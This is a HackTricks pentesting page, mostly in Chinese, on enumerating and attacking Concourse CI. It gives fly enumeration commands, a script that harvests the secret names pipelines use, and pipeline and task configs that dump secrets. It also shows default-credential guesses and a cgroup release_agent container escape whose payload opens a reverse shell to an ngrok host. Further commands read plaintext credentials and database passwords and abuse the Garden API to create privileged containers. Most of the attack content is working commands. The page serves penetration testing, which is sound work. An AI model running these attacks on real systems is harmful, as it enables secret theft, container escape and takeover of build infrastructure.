Concourse Enumeration & Attacks

Concourse Enumeration & Attacks

支持 HackTricks

用户角色和权限

Concourse 有五种角色:

  • Concourse Admin: 该角色仅授予 main team(默认初始 concourse team)的所有者。管理员可以配置其他团队(例如:fly set-team, fly destroy-team...)。此角色的权限不能被 RBAC 影响。

  • owner: 团队所有者可以修改团队内的所有内容

  • member: 团队成员可以读写团队资产,但不能修改团队设置。

  • pipeline-operator: 流水线操作员可以执行流水线操作,如触发构建和固定资源,但不能更新流水线配置。

  • viewer: 团队查看者对团队及其流水线具有**“只读”访问权限**。

此外,owner、member、pipeline-operator 和 viewer 角色的权限可以通过配置 RBAC 修改(更具体地配置其操作)。阅读更多内容:https://concourse-ci.org/user-roles.html

请注意,Concourse 将流水线分组到团队中。因此,属于某个团队的用户将能够管理这些流水线,并且可能存在多个团队。一个用户可以属于多个团队,并在每个团队中拥有不同的权限。

Vars 和 Credential Manager

在 YAML 配置中,你可以使用语法 ((_source-name_:_secret-path_._secret-field_)) 配置值。 来自文档: source-name 是可选的,如果省略,将使用 集群范围的凭证管理器,或者可以 静态地 提供值。 可选的 _secret-field_ 指定要读取的获取的秘密字段。如果省略,凭证管理器可能会选择从获取的凭证中读取“默认字段”(如果该字段存在)。 此外,如果 secret-pathsecret-field 包含特殊字符如 .:,可以用双引号 "..." 包围。例如,((source:"my.secret"."field:1"))secret-path 设置为 my.secretsecret-field 设置为 field:1

静态 Vars

静态 vars 可以在 tasks steps 中指定:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

或者使用以下 fly 参数

  • -v--var NAME=VALUE 将字符串 VALUE 设置为变量 NAME 的值。

  • -y--yaml-var NAME=VALUEVALUE 解析为 YAML 并将其设置为变量 NAME 的值。

  • -i--instance-var NAME=VALUEVALUE 解析为 YAML 并将其设置为实例变量 NAME 的值。请参阅 Grouping Pipelines 了解更多关于实例变量的信息。

  • -l--load-vars-from FILE 加载 FILE,一个包含映射变量名到值的 YAML 文档,并设置所有这些值。

凭证管理

在流水线中可以通过不同方式指定 Credential Manager,请阅读 https://concourse-ci.org/creds.html 了解更多。 此外,Concourse 支持不同的凭证管理器:

请注意,如果你对 Concourse 有某种 写访问权限,你可以创建作业来 窃取这些秘密,因为 Concourse 需要能够访问它们。

Concourse 枚举

为了枚举一个 Concourse 环境,你首先需要 收集有效的凭证 或找到一个 已认证的令牌,可能在 .flyrc 配置文件中。

登录和当前用户枚举

  • 要登录,你需要知道 端点团队名称(默认是 main)和 用户所属的团队

  • fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]

  • 获取配置的 目标

  • fly targets

  • 获取配置的 目标连接 是否仍然 有效

  • fly -t <target> status

  • 获取用户在指定目标下的 角色

  • fly -t <target> userinfo

请注意,API 令牌 默认保存在 $HOME/.flyrc 中,如果你在机器上搜寻,可能会在那里找到凭证。

团队和用户

  • 获取团队列表

  • fly -t <target> teams

  • 获取团队内的角色

  • fly -t <target> get-team -n <team-name>

  • 获取用户列表

  • fly -t <target> active-users

流水线

  • 列出 流水线:

  • fly -t <target> pipelines -a

  • 获取 流水线 yaml(定义中可能会找到 敏感信息):

  • fly -t <target> get-pipeline -p <pipeline-name>

  • 获取所有流水线 配置声明的变量

  • for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done

  • 获取所有 流水线使用的秘密名称(如果你可以创建/修改作业或劫持容器,你可以窃取它们):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Containers & Workers

  • 列出 workers:

  • fly -t <target> workers

  • 列出 containers:

  • fly -t <target> containers

  • 列出 builds (查看正在运行的内容):

  • fly -t <target> builds

Concourse Attacks

Credentials Brute-Force

  • admin:admin

  • test:test

Secrets and params enumeration

在前一节中,我们看到如何获取所有管道使用的secrets名称和vars。这些vars可能包含敏感信息,而secrets的名称在后续尝试窃取时会很有用

Session inside running or recently run container

如果你有足够的权限(member角色或更高),你将能够列出pipelines和roles,并且只需使用以下命令即可在<pipeline>/<job> container内获取一个session:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

有了这些权限,你可能能够:

  • 窃取容器内的秘密

  • 尝试逃逸到节点

  • 枚举/滥用云元数据端点(如果可能,从pod和节点)

Pipeline 创建/修改

如果你有足够的权限(成员角色或更高),你将能够创建/修改新的pipelines。 查看这个例子:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

通过修改/创建一个新的pipeline,你将能够:

  • 窃取 secrets(通过回显它们或进入容器并运行 env

  • 逃逸节点(通过赋予你足够的权限 - privileged: true

  • 枚举/滥用云元数据端点(从pod和节点)

  • 删除创建的pipeline

执行自定义任务

这与之前的方法类似,但不是修改/创建一个全新的pipeline,而是仅执行一个自定义任务(这可能会更加隐蔽):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

从特权任务逃逸到节点

在前面的部分中,我们看到了如何使用 concourse 执行特权任务。这不会给容器提供与 docker 容器中特权标志完全相同的访问权限。例如,你不会在 /dev 中看到节点文件系统设备,因此逃逸可能会更“复杂”。

在下面的 PoC 中,我们将使用 release_agent 进行一些小的修改来逃逸:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

正如你可能已经注意到的,这只是一个常规的 release_agent 逃逸,只是修改了节点中 cmd 的路径

从 Worker 容器逃逸到节点

一个带有小修改的常规 release_agent 逃逸就足够了:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

从 Web 容器逃逸到节点

即使 web 容器禁用了某些防御措施,它也不是作为一个常见的特权容器运行(例如,你不能 挂载,并且能力非常有限,所以所有容易从容器逃逸的方法都是无用的)。

然而,它存储了明文的本地凭证

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

你可以使用这些凭证登录到web服务器创建一个特权容器并逃逸到节点

在环境中你还可以找到访问postgresql实例的信息(地址,用户名密码和数据库等信息):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

滥用 Garden 服务 - 不是一个真正的攻击

这些只是关于该服务的一些有趣笔记,但因为它只监听在 localhost 上,这些笔记不会带来我们之前没有利用过的任何影响

默认情况下,每个 concourse worker 将在端口 7777 运行一个 Garden 服务。此服务由 Web 主机用于指示 worker 需要执行什么(下载镜像并运行每个任务)。这对攻击者来说听起来很不错,但有一些很好的保护措施:

  • 它只是本地暴露(127.0.0.1),我认为当 worker 通过特殊的 SSH 服务对 Web 进行身份验证时,会创建一个隧道,以便 Web 服务器可以与每个 worker 内的 Garden 服务通信

  • Web 服务器每隔几秒钟监控一次运行的容器,并且意外的容器会被删除。所以如果你想运行自定义容器,你需要篡改 Web 服务器和 Garden 服务之间的通信

Concourse workers 以高容器权限运行:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

然而,像挂载节点的 /dev 设备或 release_agent 这样的技术不起作用(因为无法访问节点的真实文件系统设备,只能访问虚拟设备)。我们无法访问节点的进程,因此在没有内核漏洞的情况下从节点逃逸变得复杂。

在前一节中,我们看到如何从一个特权容器中逃逸,所以如果我们能在当前 worker创建的特权容器执行命令,我们就可以逃逸到节点

请注意,在使用 concourse 时,我注意到当生成一个新容器来运行某些东西时,容器进程可以从 worker 容器中访问,所以这就像是在一个容器内创建一个新容器。

进入一个正在运行的特权容器

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

创建一个新的特权容器

你可以非常简单地创建一个新的容器(只需运行一个随机的UID)并在其上执行一些操作:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

然而,web 服务器每隔几秒钟就会检查正在运行的容器,如果发现了一个意外的容器,它将被删除。由于通信是通过 HTTP 进行的,你可以篡改通信以避免删除意外的容器:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

参考资料

  • https://concourse-ci.org/vars.html

支持 HackTricks

Last updated